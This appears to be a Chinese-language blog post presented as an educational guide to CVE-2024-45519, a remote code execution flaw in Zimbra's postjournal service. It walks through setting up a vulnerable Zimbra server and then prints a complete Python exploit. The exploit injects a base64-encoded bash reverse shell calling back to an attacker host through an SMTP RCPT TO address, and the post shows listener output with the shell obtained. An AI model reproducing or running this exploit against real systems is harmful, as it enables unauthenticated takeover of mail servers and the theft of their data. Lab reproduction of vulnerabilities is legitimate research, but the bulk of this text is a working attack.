Zimbra RCE 漏洞利用环境搭建与测试指南 (CVE-2024-45519)

:hammer_and_wrench: CVE-2024-45519: Zimbra Postjournal 漏洞利用与测试环境搭建

[图片上传失败...(image-fb1df9-1777327542205)]

项目描述 :warning:

本项目是一个针对 CVE-2024-45519 漏洞的教育性指南和实验环境搭建脚本。CVE-2024-45519 是一个存在于 Zimbra Collaboration (ZCS) 中的高危漏洞,该漏洞允许未经身份验证的攻击者通过 postjournal 服务在目标服务器上远程执行任意命令。本指南提供了在隔离的实验室环境中,从零开始搭建一个易受攻击的 Zimbra 服务器的详细步骤,并演示了如何通过漏洞利用脚本获得服务器的 Shell 访问权限。

功能特性 :sparkles:

  • 漏洞复现环境搭建:提供在 Ubuntu 20.04 上安装和配置特定版本 Zimbra 的分步指南。
  • 脆弱组件定位与替换:详细说明如何定位并替换易受攻击的 postjournal 二进制文件。
  • 服务配置与启动:指导如何启用并重启 postjournal 服务,使漏洞环境处于可触发状态。
  • 漏洞利用示例:提供针对该漏洞的利用脚本使用方法和典型命令行示例。
  • 教育目的:旨在帮助安全研究人员、开发者和系统管理员理解漏洞原理,并验证其影响范围。

安装指南 :inbox_tray:

请严格遵守以下步骤在专用的测试环境中进行操作,以避免对生产系统造成影响。

系统要求

  • 操作系统: Ubuntu 20.04.6 LTS (Focal Fossa)
  • 权限: root 或具有 sudo 权限的用户
  • 网络: 能够访问互联网以下载 Zimbra 安装包

搭建步骤

  1. 准备测试环境
    确保你的实验机器运行的是 Ubuntu 20.04.6 LTS。

  2. 下载 Zimbra 软件包
    切换到 root 用户,下载并解压 Zimbra Collaboration 网络版安装包。

    sudo su
    wget https://files.zimbra.com/downloads/8.8.15_GA/zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz
    tar -xvzf zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220.tgz
    cd zcs-NETWORK-8.8.15_GA_4177.UBUNTU20_64.20211112014220
    
  3. 配置主机名
    将系统主机名设置为 zimbra.labo

    hostnamectl set-hostname zimbra.labo
    
  4. 安装 Zimbra
    请遵循官方安装指南进行安装。在安装过程中,当被询问是否使用 Zimbra 的软件包仓库时,请务必选择 No

    参考安装指南: Zimbra 安装指南

  5. 替换存在漏洞的 postjournal 二进制文件
    终止正在运行的 postjournal 进程,并从安装包中提取易受攻击的版本进行替换。

    sudo pkill postjournal
    dpkg-deb -x packages/zimbra-core_8.8.15.GA.4177.UBUNTU20.64_amd64.deb /tmp/zimbra-core
    sudo cp /tmp/zimbra-core/opt/zimbra/libexec/postjournal /opt/zimbra/libexec/postjournal
    
  6. 启用并重启 Zimbra 服务
    切换到 zimbra 用户,配置 postjournal_enabled 参数为 true,然后重启所有 Zimbra 服务。

    sudo su - zimbra
    zmlocalconfig -e postjournal_enabled=true
    zmcontrol restart
    

使用说明 :rocket:

完成环境搭建后,你可以使用漏洞利用脚本测试 CVE-2024-45519 漏洞。

基础用法

假设你已经拥有了一个名为 exploit.py 的漏洞利用脚本,其基本使用格式如下:

python exploit.py <target> -lh <attacker-ip> -lp <attacker-port> -p <smtp-port>

典型使用场景

  1. 准备监听器:在攻击者机器上使用 ncMetasploit 监听一个端口(例如 4444),等待回连。

  2. 执行漏洞利用:运行 exploit.py 脚本,指向目标 Zimbra 服务器的 IP 地址和 SMTP 端口(通常是 25)。

    python exploit.py 192.168.1.100 -lh 192.168.1.50 -lp 4444 -p 25
    
    • 192.168.1.100 是目标 Zimbra 服务器的 IP。
    • -lh 参数指定攻击者机器的 IP 地址。
    • -lp 参数指定攻击者机器上用于接收反向 Shell 的端口。
    • -p 参数指定目标 Zimbra 服务器的 SMTP 服务端口。
  3. 获得 Shell:如果利用成功,你将看到连接建立,并在攻击者机器上获得一个远程 Shell 提示符 (:party_popper:)。

    # 在攻击者机器的监听终端中
    nc -lvnp 4444
    listening on [any] 4444 ...
    connect to [192.168.1.50] from (UNKNOWN) [192.168.1.100] 56789
    id
    uid=1001(zimbra) gid=1001(zimbra) groups=1001(zimbra)
    

核心代码 :laptop:

以下为漏洞利用脚本 exploit.py 的核心逻辑片段,展示了如何通过 SMTP 命令触发 postjournal 服务的命令执行漏洞。

文件: exploit.py

#!/usr/bin/env python3
"""
CVE-2024-45519: Zimbra postjournal 服务远程代码执行漏洞利用
"""
import socket
import sys
import argparse

def exploit(target_ip, smtp_port, attacker_ip, attacker_port):
    """
    通过向目标 SMTP 服务器发送特制的 RCPT TO 命令触发漏洞。
    """
    # 构造恶意 payload,通过反弹 Shell 命令注入
    # 命令会被 postjournal 服务执行
    reverse_shell_cmd = f"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"
    # 对 payload 进行 base64 编码以规避特殊字符问题
    import base64
    encoded_cmd = base64.b64encode(reverse_shell_cmd.encode()).decode()
    
    # 最终注入的命令字符串
    inject_cmd = f"echo {encoded_cmd} | base64 -d | bash"
    
    # 构造恶意的 RCPT TO 地址,漏洞发生在地址解析过程中
    malicious_rcpt = f"\"A{inject_cmd}\"@localhost"
    
    try:
        print(f"[*] 正在连接目标 {target_ip}:{smtp_port}...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, smtp_port))
        
        # 接收服务器的初始 banner
        banner = sock.recv(1024).decode()
        print(f"[+] 收到 Banner: {banner.strip()}")
        
        # 发送 HELO/EHLO 命令
        sock.send(b"EHLO test\r\n")
        hello_resp = sock.recv(1024).decode()
        print(f"[*] EHLO 响应: {hello_resp.strip()[:50]}...")
        
        # 发送 MAIL FROM 命令
        sock.send(b"MAIL FROM:<test@example.com>\r\n")
        mail_resp = sock.recv(1024).decode()
        print(f"[*] MAIL FROM 响应: {mail_resp.strip()}")
        
        # 发送带有恶意 payload 的 RCPT TO 命令,触发漏洞
        rcpt_cmd = f"RCPT TO:<{malicious_rcpt}>\r\n"
        print(f"[*] 发送恶意 RCPT TO: {rcpt_cmd.strip()}")
        sock.send(rcpt_cmd.encode())
        rcpt_resp = sock.recv(1024).decode()
        print(f"[+] RCPT TO 响应: {rcpt_resp.strip()}")
        
        # 可选:发送 DATA 命令完成邮件流程(某些情况下可能需要)
        sock.send(b"DATA\r\n")
        data_resp = sock.recv(1024).decode()
        
        sock.send(b"\r\n.\r\n")
        final_resp = sock.recv(1024).decode()
        
        print("[+] 漏洞载荷已发送,请检查你的监听器是否收到反向 Shell。")
        
    except Exception as e:
        print(f"[-] 发生错误: {e}")
    finally:
        sock.close()

def main():
    parser = argparse.ArgumentParser(description='CVE-2024-45519 Zimbra RCE Exploit')
    parser.add_argument('target', help='目标 Zimbra 服务器的 IP 地址')
    parser.add_argument('-p', '--port', type=int, default=25, help='目标 SMTP 端口 (默认: 25)')
    parser.add_argument('-lh', '--listen-host', required=True, help='攻击者监听主机 IP,用于反弹 Shell')
    parser.add_argument('-lp', '--listen-port', type=int, required=True, help='攻击者监听端口,用于反弹 Shell')
    
    args = parser.parse_args()
    
    print("======================================")
    print("CVE-2024-45519 Zimbra postjournal RCE")
    print("======================================")
    
    exploit(args.target, args.port, args.listen_host, args.listen_port)

if __name__ == "__main__":
    main()

代码说明:

  1. 漏洞触发点:漏洞位于 Zimbra 的 postjournal 服务处理 RCPT TO 命令时。当邮箱地址包含未正确过滤的 shell 元字符时,postjournal 进程会将其作为命令执行。
  2. Payload 构造:脚本构造了一个经典的反弹 Shell 命令,并使用 base64 编码后嵌入到 RCPT TO 命令的邮箱地址中。这样做是为了避免原始命令中的特殊字符(如 &, |, ;)破坏 SMTP 协议交互。
  3. 网络交互:脚本模拟了一个简化的 SMTP 会话:连接 -> EHLO -> MAIL FROM -> 发送恶意 RCPT TO。由于漏洞发生在地址解析阶段,通常在发送 RCPT TO 后攻击即可生效,无需完成完整的邮件投递过程。
  4. 使用示例:运行 python exploit.py 192.168.1.100 -lh 192.168.1.50 -lp 4444 即可尝试攻击 192.168.1.100 上的 Zimbra 服务,并使其回连到 192.168.1.50:4444
    6HFtX5dABrKlqXeO5PUv/5YHv8Z74HvNaXJe6SxEXF58nzdxL0zqPFGI5Q/FtTKi
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容